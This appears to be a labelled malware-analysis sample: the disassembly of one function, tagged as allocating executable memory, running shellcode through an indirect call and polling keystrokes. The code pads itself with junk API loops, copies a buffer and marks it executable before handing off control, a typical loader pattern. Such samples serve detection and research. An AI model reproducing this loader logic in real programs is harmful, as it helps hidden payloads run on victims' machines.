Function at 0x409d50
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path
Get file attributes
Log keystrokes via polling
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x83c
mov eax, dword [0x80d004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteTimerQueue]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
push edi
mov edi, 0x3661b338
jmp 0x409d80
cmp dword [0x817924], 0xc31
jne 0x409d90
push 0
call ebx
call esi
dec edi
jne 0x409d80
mov edi, dword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor ebx, ebx
xor esi, esi
nop
cmp esi, 0x562d05
jne 0x409db2
mov eax, dword [0x80ed74]
mov dword [0x817cac], eax
cmp dword [0x817924], 0x3c
jne 0x409dbe
push ebx
call edi
inc esi
cmp esi, 0x5f6c74
jl 0x409da0
cmp dword [0x817924], 0x7c
jne 0x409e35
push ebx
push ebx
lea ecx, [ebp - 0x808]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push ebx
push ebx
call dword [sym.imp.USER32.dll_LoadIconW]
push ebx
call dword [sym.imp.USER32.dll_GetKeyboardState]
push ebx
call dword [sym.imp.KERNEL32.dll_SetThreadLocale]
push ebx
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
push ebx
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push ebx
call dword [sym.imp.KERNEL32.dll_LocalCompact]
cmp dword [0x817924], 0x2d
jne 0x409e23
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FatalAppExitA]
fldz
sub esp, 8
fstp qword [esp]
call fcn.00401010
fstp st(0)
add esp, 8
cmp dword [0x817924], 0x110a
jne 0x409ea6
lea edx, [ebp - 0x808]
push edx
lea eax, [ebp - 0x804]
push eax
push str.fenasinirefecufalitojapu
mov dword [0x817918], ebx
mov dword [0x81791c], ebx
call dword [sym.imp.KERNEL32.dll_DnsHostnameToComputerNameW]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push str.Deyefutovi_kevehaxuvibobob
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push ebx
call dword [sym.imp.KERNEL32.dll_ZombifyActCtx]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeaps]
push ebx
push ebx
call fcn.0040112d
push ebx
push ebx
call fcn.0040112d
push ebx
push ebx
call fcn.0040112d
add esp, 0x18
call fcn.00409ad0
xor esi, esi
cmp dword [0x817924], ebx
jbe 0x409f03
mov edi, dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
jmp 0x409ec0
mov ecx, dword [0x817cac]
mov dword [ebp - 0x808], ecx
mov eax, 0xa231
add dword [ebp - 0x808], eax
cmp dword [0x817924], 0x5ab
mov edx, dword [ebp - 0x808]
mov al, byte [edx + esi]
mov ecx, dword [0x817648]
mov byte [ecx + esi], al
jne 0x409efa
push ebx
push ebx
push ebx
call edi
inc esi
cmp esi, dword [0x817924]
jb 0x409ec0
call fcn.00409b00
mov eax, dword [0x817924]
mov ecx, dword [0x817648]
lea edx, [ebp - 0x80c]
push edx
push 0x40
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.00409ce0
call fcn.00409af0
mov ebx, dword [ebp - 0x834]
mov edi, dword [sym.imp.USER32.dll_GetClassLongW]
xor esi, esi
lea esp, [esp]
push 0
push 0
call edi
cmp esi, 0x1a01e
jle 0x409f56
cmp ebx, 0xf5bed7
jne 0x409f5f
inc esi
cmp esi, 0x1ece7a52
jl 0x409f40
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetConsoleDisplayMode]
xor esi, esi
lea ecx, [ecx]
cmp esi, 0x12e6c3
jne 0x409f7d
call fcn.00409ac0
cmp dword [0x817924], 0x3dc
mov dword [0x81764c], 0x8e46a6f0
jne 0x409fb1
xor edx, edx
lea ecx, [ebp - 0x810]
push ecx
push edx
push edx
push edx
push edx
mov dword [ebp - 0x808], edx
call edi
lea eax, [ebp - 0x814]
push eax
call ebx
inc esi
cmp esi, 0x1519a5
jl 0x409f70
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401000
mov esp, ebp
pop ebp
ret